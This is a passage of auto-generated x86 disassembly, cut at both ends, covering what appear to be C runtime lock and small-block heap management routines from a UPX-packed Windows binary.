push 0FA0h
push dword ptr [eax]
add edi, 18h
call sub_413600
pop ecx
pop ecx
test eax, eax
jz short loc_40CE6C
loc_40CE60: ; CODE XREF: sub_40CE2D+13j
inc esi
cmp esi, 24h
jl short loc_40CE38
xor eax, eax
inc eax
loc_40CE69: ; CODE XREF: sub_40CE2D+49j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40CE6C: ; CODE XREF: sub_40CE2D+31j
and off_42A1B8[esi*8], 0
xor eax, eax
jmp short loc_40CE69
sub_40CE2D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_40E1F2
loc_40CE78: ; CODE XREF: sub_40E1F2:loc_40E22Aj
mov edi, edi
push ebx
mov ebx, dword_41D1C8
push esi
mov esi, offset off_42A1B8
push edi
loc_40CE88: ; CODE XREF: sub_40E1F2-1348j
mov edi, [esi]
test edi, edi
jz short loc_40CEA1
cmp dword ptr [esi+4], 1
jz short loc_40CEA1
push edi
call ebx ; dword_41D1C8
push edi
call sub_40ADC8
and dword ptr [esi], 0
pop ecx
loc_40CEA1: ; CODE XREF: sub_40E1F2-1366j
; sub_40E1F2-1360j
add esi, 8
cmp esi, offset dword_42A2D8
jl short loc_40CE88
mov esi, offset off_42A1B8
pop edi
loc_40CEB2: ; CODE XREF: sub_40E1F2-1328j
mov eax, [esi]
test eax, eax
jz short loc_40CEC1
cmp dword ptr [esi+4], 1
jnz short loc_40CEC1
push eax
call ebx ; dword_41D1C8
loc_40CEC1: ; CODE XREF: sub_40E1F2-133Cj
; sub_40E1F2-1336j
add esi, 8
cmp esi, offset dword_42A2D8
jl short loc_40CEB2
pop esi
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_40E1F2
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CECF proc near ; CODE XREF: sub_40AE1E+2p
; sub_40AE9C+2p ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push off_42A1B8[eax*8]
call dword_41D204 ; RtlLeaveCriticalSection
pop ebp
retn
sub_40CECF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CEE6 proc near ; CODE XREF: sub_40CFA9+16p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 0Ch
push offset dword_4268E0
call __SEH_prolog4
xor edi, edi
inc edi
mov [ebp+var_1C], edi
xor ebx, ebx
cmp dword_42E724, ebx
jnz short loc_40CF1A
call sub_40DF83
push 1Eh
call sub_40DDD8
push 0FFh
call sub_40DB24
pop ecx
pop ecx
loc_40CF1A: ; CODE XREF: sub_40CEE6+1Aj
mov esi, [ebp+arg_0]
lea esi, ds:42A1B8h[esi*8]
cmp [esi], ebx
jz short loc_40CF2C
mov eax, edi
jmp short loc_40CF9A
; ---------------------------------------------------------------------------
loc_40CF2C: ; CODE XREF: sub_40CEE6+40j
push 18h
call sub_40EF2A
pop ecx
mov edi, eax
cmp edi, ebx
jnz short loc_40CF49
call sub_40C862
mov dword ptr [eax], 0Ch
xor eax, eax
jmp short loc_40CF9A
; ---------------------------------------------------------------------------
loc_40CF49: ; CODE XREF: sub_40CEE6+52j
push 0Ah
call sub_40CFA9
pop ecx
mov [ebp+ms_exc.disabled], ebx
cmp [esi], ebx
jnz short loc_40CF84
push 0FA0h
push edi
call sub_413600
pop ecx
pop ecx
test eax, eax
jnz short loc_40CF80
push edi
call sub_40ADC8
pop ecx
call sub_40C862
mov dword ptr [eax], 0Ch
mov [ebp+var_1C], ebx
jmp short loc_40CF8B
; ---------------------------------------------------------------------------
loc_40CF80: ; CODE XREF: sub_40CEE6+81j
mov [esi], edi
jmp short loc_40CF8B
; ---------------------------------------------------------------------------
loc_40CF84: ; CODE XREF: sub_40CEE6+70j
push edi
call sub_40ADC8
pop ecx
loc_40CF8B: ; CODE XREF: sub_40CEE6+98j
; sub_40CEE6+9Cj
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40CFA0
mov eax, [ebp+var_1C]
loc_40CF9A: ; CODE XREF: sub_40CEE6+44j
; sub_40CEE6+61j
call __SEH_epilog4
retn
sub_40CEE6 endp
; =============== S U B R O U T I N E =======================================
sub_40CFA0 proc near ; CODE XREF: sub_40CEE6+ACp
; DATA XREF: UPX0:004268F8o
push 0Ah
call sub_40CECF
pop ecx
retn
sub_40CFA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CFA9 proc near ; CODE XREF: sub_40ADC8+1Ep
; sub_40AE56+1Dp ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
lea esi, ds:42A1B8h[eax*8]
cmp dword ptr [esi], 0
jnz short loc_40CFD1
push eax
call sub_40CEE6
pop ecx
test eax, eax
jnz short loc_40CFD1
push 11h
call sub_40DAD0
pop ecx
loc_40CFD1: ; CODE XREF: sub_40CFA9+13j
; sub_40CFA9+1Ej
push dword ptr [esi]
call dword_41D1CC ; RtlEnterCriticalSection
pop esi
pop ebp
retn
sub_40CFA9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CFDC proc near ; CODE XREF: sub_40ADC8+29p
; sub_40B8A1+5Bp ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword_430278
mov eax, dword_43027C
imul ecx, 14h
add ecx, eax
jmp short loc_40D004
; ---------------------------------------------------------------------------
loc_40CFF3: ; CODE XREF: sub_40CFDC+2Aj
mov edx, [ebp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short loc_40D00A
add eax, 14h
loc_40D004: ; CODE XREF: sub_40CFDC+15j
cmp eax, ecx
jb short loc_40CFF3
xor eax, eax
loc_40D00A: ; CODE XREF: sub_40CFDC+23j
pop ebp
retn
sub_40CFDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D00C proc near ; CODE XREF: sub_40ADC8+38p
; sub_40B8A1+B5p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
mov eax, [ecx+10h]
push esi
mov esi, [ebp+arg_4]
push edi
mov edi, esi
sub edi, [ecx+0Ch]
add esi, 0FFFFFFFCh
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
mov [ebp+var_4], ecx
test cl, 1
jnz loc_40D31E
push ebx
lea ebx, [ecx+esi]
mov edx, [ebx]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
mov [ebp+arg_4], ebx
test dl, 1
jnz short loc_40D0D9
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_40D071
push 3Fh
pop edx
loc_40D071: ; CODE XREF: sub_40D00C+60j
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_40D0BB
mov ebx, 80000000h
cmp edx, 20h
jnb short loc_40D09C
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_40D0B8
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_40D0B8
; ---------------------------------------------------------------------------
loc_40D09C: ; CODE XREF: sub_40D00C+75j
lea ecx, [edx-20h]
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_40D0B8
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_40D0B8: ; CODE XREF: sub_40D00C+87j
; sub_40D00C+8Ej ...
mov ebx, [ebp+arg_4]
loc_40D0BB: ; CODE XREF: sub_40D00C+6Bj
mov edx, [ebx+8]
mov ebx, [ebx+4]
mov ecx, [ebp+var_4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
mov [ebp+var_4], ecx
loc_40D0D9: ; CODE XREF: sub_40D00C+57j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_40D0E7
push 3Fh
pop edx
loc_40D0E7: ; CODE XREF: sub_40D00C+D6j
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_40D185
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_40D10C
mov ebx, esi
loc_40D10C: ; CODE XREF: sub_40D00C+FCj
add ecx, [ebp+var_8]
mov edx, ecx
sar edx, 4
dec edx
mov [ebp+var_4], ecx
cmp edx, esi
jbe short loc_40D11E
mov edx, esi
loc_40D11E: ; CODE XREF: sub_40D00C+10Ej
cmp ebx, edx
jz short loc_40D180
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_40D168
mov esi, 80000000h
cmp ebx, 20h
jnb short loc_40D14E
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_40D168
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_40D168
; ---------------------------------------------------------------------------
loc_40D14E: ; CODE XREF: sub_40D00C+129j
lea ecx, [ebx-20h]
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_40D168
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_40D168: ; CODE XREF: sub_40D00C+11Fj
; sub_40D00C+139j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_40D180: ; CODE XREF: sub_40D00C+114j
mov esi, [ebp+arg_4]
jmp short loc_40D188
; ---------------------------------------------------------------------------
loc_40D185: ; CODE XREF: sub_40D00C+E4j
mov ebx, [ebp+arg_0]
loc_40D188: ; CODE XREF: sub_40D00C+177j
cmp [ebp+var_C], 0
jnz short loc_40D196
cmp ebx, edx
jz loc_40D216
loc_40D196: ; CODE XREF: sub_40D00C+180j
mov ecx, [ebp+var_10]
lea ecx, [ecx+edx*8]
mov ebx, [ecx+4]
mov [esi+8], ecx
mov [esi+4], ebx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_40D216
mov cl, [edx+eax+4]
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
cmp edx, 20h
jnb short loc_40D1ED
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_40D1DC
mov ecx, edx
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_40D1DC: ; CODE XREF: sub_40D00C+1C0j
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_40D216
; ---------------------------------------------------------------------------
loc_40D1ED: ; CODE XREF: sub_40D00C+1BAj
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_40D203
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_40D203: ; CODE XREF: sub_40D00C+1E5j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_40D216: ; CODE XREF: sub_40D00C+184j
; sub_40D00C+1A8j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_40D31D
mov eax, dword_42E878
test eax, eax
jz loc_40D30F
mov ecx, dword_43028C
mov esi, dword_41D0E4
push 4000h
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push ebx
push ecx
call esi ; dword_41D0E4
mov ecx, dword_43028C
mov eax, dword_42E878
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_42E878
mov eax, [eax+10h]
mov ecx, dword_43028C
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_42E878
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_42E878
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_40D2A4
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_42E878
loc_40D2A4: ; CODE XREF: sub_40D00C+28Dj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_40D30F
push ebx
push 0
push dword ptr [eax+0Ch]
call esi ; dword_41D0E4
mov eax, dword_42E878
push dword ptr [eax+10h]
push 0
push dword_42E724
call dword_41D0CC ; RtlFreeHeap
mov ecx, dword_430278
mov eax, dword_42E878
imul ecx, 14h
mov edx, dword_43027C
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_40CA30
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_430278
cmp eax, dword_42E878
jbe short loc_40D305
sub [ebp+arg_0], 14h
loc_40D305: ; CODE XREF: sub_40D00C+2F3j
mov eax, dword_43027C
mov dword_430284, eax
loc_40D30F: ; CODE XREF: sub_40D00C+225j
; sub_40D00C+29Cj
mov eax, [ebp+arg_0]
mov dword_42E878, eax
mov dword_43028C, edi
loc_40D31D: ; CODE XREF: sub_40D00C+218j
pop ebx
loc_40D31E: ; CODE XREF: sub_40D00C+39j
pop edi
pop esi
leave
retn
sub_40D00C endp
; =============== S U B R O U T I N E =======================================
sub_40D322 proc near ; CODE XREF: sub_40D7BB+C2p
mov eax, dword_430288
push esi
mov esi, dword_430278
push edi
xor edi, edi
cmp esi, eax
jnz short loc_40D369
add eax, 10h
imul eax, 14h
push eax
push dword_43027C
push edi
push dword_42E724
call dword_41D1A0 ; RtlReAllocateHeap
cmp eax, edi
jnz short loc_40D357
loc_40D353: ; CODE XREF: sub_40D322+68j
; sub_40D322+94j
xor eax, eax
jmp short loc_40D3CF
; ---------------------------------------------------------------------------
loc_40D357: ; CODE XREF: sub_40D322+2Fj
add dword_430288, 10h
mov esi, dword_430278
mov dword_43027C, eax
loc_40D369: ; CODE XREF: sub_40D322+11j
imul esi, 14h
add esi, dword_43027C
push 41C4h
push 8
push dword_42E724
call dword_41D0D4 ; RtlAllocateHeap
mov [esi+10h], eax
cmp eax, edi
jz short loc_40D353
push 4
push 2000h
push 100000h
push edi
call dword_41D0E8 ; VirtualAlloc
mov [esi+0Ch], eax
cmp eax, edi
jnz short loc_40D3B8
push dword ptr [esi+10h]
push edi
push dword_42E724
call dword_41D0CC ; RtlFreeHeap
jmp short loc_40D353
; ---------------------------------------------------------------------------
loc_40D3B8: ; CODE XREF: sub_40D322+82j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_430278
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_40D3CF: ; CODE XREF: sub_40D322+33j
pop edi
pop esi
retn
sub_40D322 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D3D2 proc near ; CODE XREF: sub_40D7BB+D8p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, [ebp+arg_0]
mov eax, [ecx+8]
push ebx
push esi
mov esi, [ecx+10h]
push edi
xor ebx, ebx
jmp short loc_40D3EC
; ---------------------------------------------------------------------------
loc_40D3E9: ; CODE XREF: sub_40D3D2+1Cj
add eax, eax
inc ebx
loc_40D3EC: ; CODE XREF: sub_40D3D2+15j
test eax, eax
jge short loc_40D3E9
mov eax, ebx
imul eax, 204h
lea eax, [eax+esi+144h]
push 3Fh
mov [ebp+var_8], eax
pop edx
loc_40D405: ; CODE XREF: sub_40D3D2+3Dj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_40D405
push 4
mov edi, ebx
push 1000h
shl edi, 0Fh
add edi, [ecx+0Ch]
push 8000h
push edi
call dword_41D0E8 ; VirtualAlloc
test eax, eax
jnz short loc_40D438
or eax, 0FFFFFFFFh
jmp loc_40D4D5
; ---------------------------------------------------------------------------
loc_40D438: ; CODE XREF: sub_40D3D2+5Cj
lea edx, [edi+7000h]
mov [ebp+var_4], edx
cmp edi, edx
ja short loc_40D488
mov ecx, edx
sub ecx, edi
shr ecx, 0Ch
lea eax, [edi+10h]
inc ecx
loc_40D450: ; CODE XREF: sub_40D3D2+B1j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea edx, [eax+0FFCh]
mov [eax], edx
lea edx, [eax-1004h]
mov dword ptr [eax-4], 0FF0h
mov [eax+4], edx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
dec ecx
jnz short loc_40D450
mov edx, [ebp+var_4]
loc_40D488: ; CODE XREF: sub_40D3D2+71j
mov eax, [ebp+var_8]
add eax, 1F8h
lea ecx, [edi+0Ch]
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
xor edi, edi
inc edi
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_40D4C5
or [eax+4], edi
loc_40D4C5: ; CODE XREF: sub_40D3D2+EEj
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_40D4D5: ; CODE XREF: sub_40D3D2+61j
pop edi
pop esi
pop ebx
leave
retn
sub_40D3D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D4DA proc near ; CODE XREF: sub_40B8A1+77p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ecx+10h]
push ebx
push esi
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov edx, edi
sub edx, [ecx+0Ch]
add esi, 17h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
and esi, 0FFFFFFF0h
dec ecx
cmp esi, ecx
lea edi, [ecx+edi-4]
mov ebx, [edi]
mov [ebp+arg_8], ecx
mov [ebp+var_4], ebx
jle loc_40D67E
test bl, 1
jnz loc_40D677
add ebx, ecx
cmp esi, ebx
jg loc_40D677
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
mov [ebp+var_8], ecx
cmp ecx, 3Fh
jbe short loc_40D551
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_40D551: ; CODE XREF: sub_40D4DA+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_40D59C
mov ebx, 80000000h
cmp ecx, 20h
jnb short loc_40D57D
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_40D59C
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_40D59C
; ---------------------------------------------------------------------------
loc_40D57D: ; CODE XREF: sub_40D4DA+87j
add ecx, 0FFFFFFE0h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_40D59C
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_40D59C: ; CODE XREF: sub_40D4DA+7Dj
; sub_40D4DA+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_40D665
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_40D5D6
push 3Fh
pop edi
loc_40D5D6: ; CODE XREF: sub_40D4DA+F7j
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_40D653
mov cl, [edi+eax+4]
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
cmp edi, 20h
jnb short loc_40D62A
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_40D622
mov ecx, edi
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_40D622: ; CODE XREF: sub_40D4DA+138j
lea eax, [eax+edx*4+44h]
mov ecx, edi
jmp short loc_40D64A
; ---------------------------------------------------------------------------
loc_40D62A: ; CODE XREF: sub_40D4DA+132j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_40D640
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_40D640: ; CODE XREF: sub_40D4DA+154j
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
loc_40D64A: ; CODE XREF: sub_40D4DA+14Ej
mov edx, 80000000h
shr edx, cl
or [eax], edx
loc_40D653: ; CODE XREF: sub_40D4DA+120j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_40D668
; ---------------------------------------------------------------------------
loc_40D665: ; CODE XREF: sub_40D4DA+E0j
mov edx, [ebp+arg_4]
loc_40D668: ; CODE XREF: sub_40D4DA+189j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_40D7B3
; ---------------------------------------------------------------------------
loc_40D677: ; CODE XREF: sub_40D4DA+52j
; sub_40D4DA+5Cj
xor eax, eax
jmp loc_40D7B6
; ---------------------------------------------------------------------------
loc_40D67E: ; CODE XREF: sub_40D4DA+49j
jge loc_40D7B3
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
sar esi, 4
dec esi
mov [ebp+arg_4], ebx
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_40D6A9
push 3Fh
pop esi
loc_40D6A9: ; CODE XREF: sub_40D4DA+1CAj
test byte ptr [ebp+var_4], 1
jnz loc_40D733
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_40D6C2
push 3Fh
pop esi
loc_40D6C2: ; CODE XREF: sub_40D4DA+1E3j
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_40D70C
mov ebx, 80000000h
cmp esi, 20h
jnb short loc_40D6ED
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_40D709
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_40D709
; ---------------------------------------------------------------------------
loc_40D6ED: ; CODE XREF: sub_40D4DA+1F8j
lea ecx, [esi-20h]
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_40D709
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_40D709: ; CODE XREF: sub_40D4DA+20Aj
; sub_40D4DA+211j ...
mov ebx, [ebp+arg_4]
loc_40D70C: ; CODE XREF: sub_40D4DA+1EEj
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov esi, [edi+8]
mov ecx, [edi+4]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_40D733
push 3Fh
pop esi
loc_40D733: ; CODE XREF: sub_40D4DA+1D3j
; sub_40D4DA+254j
mov ecx, [ebp+var_C]
lea ecx, [ecx+esi*8]
mov edi, [ecx+4]
mov [ebx+8], ecx
mov [ebx+4], edi
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_40D7AA
mov cl, [esi+eax+4]
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
cmp esi, 20h
jnb short loc_40D781
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_40D779
mov ecx, esi
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_40D779: ; CODE XREF: sub_40D4DA+28Fj
lea eax, [eax+edx*4+44h]
mov ecx, esi
jmp short loc_40D7A1
; ---------------------------------------------------------------------------
loc_40D781: ; CODE XREF: sub_40D4DA+289j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_40D797
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_40D797: ; CODE XREF: sub_40D4DA+2ABj
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
loc_40D7A1: ; CODE XREF: sub_40D4DA+2A5j
mov edx, 80000000h
shr edx, cl
or [eax], edx
loc_40D7AA: ; CODE XREF: sub_40D4DA+277j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_40D7B3: ; CODE XREF: sub_40D4DA+198j
; sub_40D4DA:loc_40D67Ej
xor eax, eax
inc eax
loc_40D7B6: ; CODE XREF: sub_40D4DA+19Fj
pop edi
pop esi
pop ebx
leave
retn
sub_40D4DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D7BB proc near ; CODE XREF: sub_40AE56+28p
; sub_40B8A1+89p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_430278
mov ecx, [ebp+arg_0]
imul eax, 14h
add eax, dword_43027C
add ecx, 17h
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
push ebx
dec ecx
cmp ecx, 20h
push esi
push edi
jge short loc_40D7F4
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_40D801
; ---------------------------------------------------------------------------
loc_40D7F4: ; CODE XREF: sub_40D7BB+2Cj
add ecx, 0FFFFFFE0h
or edx, 0FFFFFFFFh
xor esi, esi
shr edx, cl
mov [ebp+var_8], edx
loc_40D801: ; CODE XREF: sub_40D7BB+37j
mov ecx, dword_430284
mov ebx, ecx
jmp short loc_40D81C
; ---------------------------------------------------------------------------
loc_40D80B: ; CODE XREF: sub_40D7BB+66j
mov edx, [ebx+4]
mov edi, [ebx]
and edx, [ebp+var_8]
and edi, esi
or edx, edi
jnz short loc_40D823
add ebx, 14h
loc_40D81C: ; CODE XREF: sub_40D7BB+4Ej
mov [ebp+arg_0], ebx
cmp ebx, eax
jb short loc_40D80B
loc_40D823: ; CODE XREF: sub_40D7BB+5Cj
cmp ebx, eax
jnz short loc_40D8A6
mov ebx, dword_43027C
jmp short loc_40D840
; ---------------------------------------------------------------------------
loc_40D82F: ; CODE XREF: sub_40D7BB+8Aj
mov edx, [ebx+4]
mov edi, [ebx]
and edx, [ebp+var_8]
and edi, esi
or edx, edi
jnz short loc_40D847
add ebx, 14h
loc_40D840: ; CODE XREF: sub_40D7BB+72j
mov [ebp+arg_0], ebx
cmp ebx, ecx
jb short loc_40D82F
loc_40D847: ; CODE XREF: sub_40D7BB+80j
cmp ebx, ecx
jnz short loc_40D8A6
jmp short loc_40D859
; ---------------------------------------------------------------------------
loc_40D84D: ; CODE XREF: sub_40D7BB+A0j
cmp dword ptr [ebx+8], 0
jnz short loc_40D85D
add ebx, 14h
mov [ebp+arg_0], ebx
loc_40D859: ; CODE XREF: sub_40D7BB+90j
cmp ebx, eax
jb short loc_40D84D
loc_40D85D: ; CODE XREF: sub_40D7BB+96j
cmp ebx, eax
jnz short loc_40D892
mov ebx, dword_43027C
jmp short loc_40D872
; ---------------------------------------------------------------------------
loc_40D869: ; CODE XREF: sub_40D7BB+BCj
cmp dword ptr [ebx+8], 0
jnz short loc_40D879
add ebx, 14h
loc_40D872: ; CODE XREF: sub_40D7BB+ACj
mov [ebp+arg_0], ebx
cmp ebx, ecx
jb short loc_40D869
loc_40D879: ; CODE XREF: sub_40D7BB+B2j
cmp ebx, ecx
jnz short loc_40D892
call sub_40D322
mov ebx, eax
mov [ebp+arg_0], ebx
test ebx, ebx
jnz short loc_40D892
loc_40D88B: ; CODE XREF: sub_40D7BB+E9j
xor eax, eax
jmp loc_40DA9B
